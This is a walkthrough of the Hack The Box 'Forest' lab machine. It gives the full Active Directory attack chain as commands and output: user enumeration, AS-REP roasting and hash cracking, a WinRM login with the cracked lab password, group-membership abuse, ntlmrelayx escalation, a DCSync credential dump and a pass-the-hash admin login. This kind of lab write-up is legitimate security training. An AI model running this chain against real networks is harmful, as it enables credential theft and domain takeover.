Hackthebox(HTB) Forest Detailed Writeup | walkthrough

Forest hack the box writeup


  1. Nmap Scan.
  2. Enumerating user names.
  3. Exploiting Kerberos
  4. Decryption of hash.txt.
  5. Login with Evil-winrm(user)
  6. Uploading Blood hound
  7. Adding User to group.
  8. Escalating the privilages.
  9. DCSync attack via secretsdump
  10. Login with wmiexec.py(root)

Tools used

  1. Impacket(GetNPUsers.py,ntlmrelayx.py ,secretsdump.py)
  2. Evil-winrm
  3. Bloodhound.

Commands used

  1. nmap -sC -sV -oV
  2. enum4linux -a
  3. GetNPUsers.py HTB.local/ -usersfile /root/Desktop/htb/forest/user.txt -format john -outputfile hashes.txt -dc-ip
  4. john –wordlist=/root/Desktop/rockyou.txt hashes.txt
  5. evil-winrm -u svc-alfresco -p s3rvice -i
  6. upload /root/Downloads/tools/BloodHound/Ingestors/SharpHound.ps1 C:\tmp\SharpHound.ps1
  7. Import-module ./SharpHound.ps1
  8. net group “Exchange Windows Permissions” svc-alfresco /add
  9. ntlmrelayx.py -t ldap:// –escalate-user svc-alfresco
  10. secretsdump.py htb.local/[email protected] -just-dc
  11. wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 [email protected]

Nmap Scan

Nmap 7.70 scan initiated Tue Jan 28 21:47:16 2020 as: nmap -sC -sV -oV
Nmap scan report for
Host is up (0.37s latency).
Not shown: 989 closed ports
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-29 02:55:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|clock-skew: mean: 2h46m49s, deviation: 4h37m09s, median: 6m47s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local | System time: 2020-01-28T18:57:48-08:00
| smb-security-mode:
| account_used:
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-01-28 21:57:49
|_ start_date: 2020-01-28 14:55:11
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Tue Jan 28 21:53:00 2020 -- 1 IP address (1 host up) scanned in 343.90 seconds
Forest hack the box writeup

In nmap results we see port 88 open which is kerberos-sec Microsoft Windows Kerberos.

On googling I found that it is a vulnerable service.So i google more and gathered information about it.

Kerberos is a protocol for network authentication.

It works by using tickets to authenticate authorized clients to authorized servers, and vice versa- thus mitigating man-in-the-middle and reply attacks. Both the client and the server authenticate each other with packets sent through the Kerberos protocol, usually designated to UDP port 88.

Kerberos uses symmetric cryptographic algorithms, and may use public-key cryptography. Between the client and server, a Kerberos authentication server acts as the trusted third party. The authentication server forwards client usernames to a key distribution center (KDC). Kerberos 5 (krb5-x) uses AES with 128-bit blocks and key sizes of 128 or 256 bits. Legacy versions of Kerberos used DES, which is incredibly insecure these days.

AS-REP Roasting is an attack against Kerberos for user accounts that do not require preauthentication.

So now it was tring to exploit it .So I found a tools from Impacket.

First let us intsall it from github.(All credit goes to the maker of this tool. I am just showing it for educational purpose.)

1-git clone https://github.com/SecureAuthCorp/impacket.git
2-cd impacket
3-python setup.py
Forest hack the box writeup

Now as we know we have to use usernames in order to exploit this vulnerability.

Enumerating user names

We look at nmap again and find port 139 and 445 open hence we can run Enum4linux.

Forest hack the box writeup

So Enum4linux returned a lot of information and we also got some usernames.

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[ahmad] rid:[0x1db1]
user:[skunk] rid:[0x1db2]
user:[testing1337] rid:[0x1db3]

So i saved the usernames in a user.txt.

Exploiting Kerberos

So now its time to use GetNPUsers.py from Impacket.

GetNPUsers.py HTB.local/ -usersfile /root/Desktop/htb/forest/user.txt -format john -outputfile hashes.txt -dc-ip

Here HTB.local is Domain name which is clearly seen in nmap results.So now we have the hash.

Forest hack the box writeup

Decryption of hash.txt

Now we will use john the ripper tool for cracking the hash.As we already save it in john format.

root@kali:~/Desktop/htb/forest# john --wordlist=/root/Desktop/rockyou.txt hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ([email protected])
1g 0:00:00:19 DONE (2020-03-20 23:17) 0.05205g/s 212689p/s 212689c/s 212689C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So we successfully cracked this hash.So now when we have creds lets login.

From the nmap results we know WinRM is running in the machine .So we can use a exploit tool for it .Which is Evil WinRM.

You can easily get it one github

1-git clone https://github.com/Hackplayers/evil-winrm.git 
2-cd into it.
3-and launch it.

Login with Evil-winrm(user)

root@kali:~/Desktop/htb/forest# evil-winrm -u svc-alfresco -p s3rvice -i
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\svc-alfresco\Documents> cd ..
Evil-WinRM PS C:\Users\svc-alfresco> ld
The term 'ld' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
CategoryInfo : ObjectNotFound: (ld:String) [], CommandNotFoundException
FullyQualifiedErrorId : CommandNotFoundException
Evil-WinRM PS C:\Users\svc-alfresco> cd Desktop
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> dir
Directory: C:\Users\svc-alfresco\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/23/2019 2:16 PM 32 user.txt
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> cat user.txt
Forest hack the box writeup

Now when we have user we can use blood hound to find the best way to admin.


root@kali:~/Downloads/tools# git clone https://github.com/BloodHoundAD/BloodHound.git
Cloning into 'BloodHound'…
remote: Enumerating objects: 49, done.
remote: Counting objects: 100% (49/49), done.
remote: Compressing objects: 100% (39/39), done.
remote: Total 6404 (delta 21), reused 27 (delta 10), pack-reused 6355
Receiving objects: 100% (6404/6404), 51.20 MiB | 2.22 MiB/s, done.
Resolving deltas: 100% (4516/4516), done.
root@kali:~/Downloads/tools/BloodHound/Ingestors# ls
DebugBuilds SharpHound.exe SharpHound.ps1

Uploading Blood hound

Now we can make a tmp directory for uploading our Bloodhound.

Evil-WinRM PS C:> upload /root/Downloads/tools/BloodHound/Ingestors/SharpHound.ps1 C:\tmp\SharpHound.ps1
Info: Uploading /root/Downloads/tools/BloodHound/Ingestors/SharpHound.ps1 to C:\tmp\SharpHound.ps1
Data: 1297080 bytes of 1297080 bytes copied
Info: Upload successful!
Forest hack the box writeup
Evil-WinRM PS C:\tmp> Import-module ./SharpHound.ps1
Forest hack the box writeup

Adding User to group

We can now figure out that our user need to be in Exchange widows permission group .

So lets do it.

Evil-WinRM PS C:\tmp> net group "Exchange Windows Permissions" svc-alfresco /add
net.exe : User svc-alfresco is already a member of group Exchange Windows Permissions.
+ CategoryInfo : NotSpecified: (User svc-alfres…ws Permissions.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
More help is available by typing NET HELPMSG 3754.

Somebody already did it for me.That’s global server.

Escalating the privilages

Now using another impacket tool ntlmrelayx.py for escalating user permissions.

root@kali:~/Downloads/tools/impacket/examples# ntlmrelayx.py -t ldap:// --escalate-user svc-alfresco
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[] Protocol Client SMB loaded.. [] Protocol Client SMTP loaded..
[] Protocol Client MSSQL loaded.. [] Protocol Client HTTPS loaded..
[] Protocol Client HTTP loaded.. [] Protocol Client IMAPS loaded..
[] Protocol Client IMAP loaded.. [] Protocol Client LDAP loaded..
[] Protocol Client LDAPS loaded.. [] Running in relay mode to single host
[] Setting up SMB Server [] Setting up HTTP Server

DCSync attack via secretsdump

When it is done we can just use DCsync attack

DCSync attack via secretsdump
Now all we need to do is run DCSync attack via secretsdump

python secretsdump.py htb.local/[email protected] -just-dc

After this i got the hash for administrator

Login with wmiexec.py(root)

using another tool from impacket we can pass the hash of administrator and can get root.txt

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 [email protected]
Forest hack the box writeup
Directory of C:\Users
03/20/2020 09:36 PM
03/20/2020 09:36 PM ..
09/18/2019 10:09 AM Administrator
03/20/2020 08:26 PM ahmad
03/20/2020 09:36 PM hares
03/20/2020 09:24 PM pepe
11/20/2016 07:39 PM Public
09/22/2019 03:29 PM sebastien
09/22/2019 04:02 PM svc-alfresco
0 File(s) 0 bytes
9 Dir(s) 30,664,265,728 bytes free
C:\Users>cd Administrator
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>type root.txt

How useful was this post?

Click on a star to rate it!

Average rating 0 / 5. Vote count: 0

No votes so far! Be the first to rate this post.

As you found this post useful...

Follow us on social media!

We are sorry that this post was not useful for you!

Let us improve this post!

Tell us how we can improve this post?


Leave a Reply

Your email address will not be published. Required fields are marked *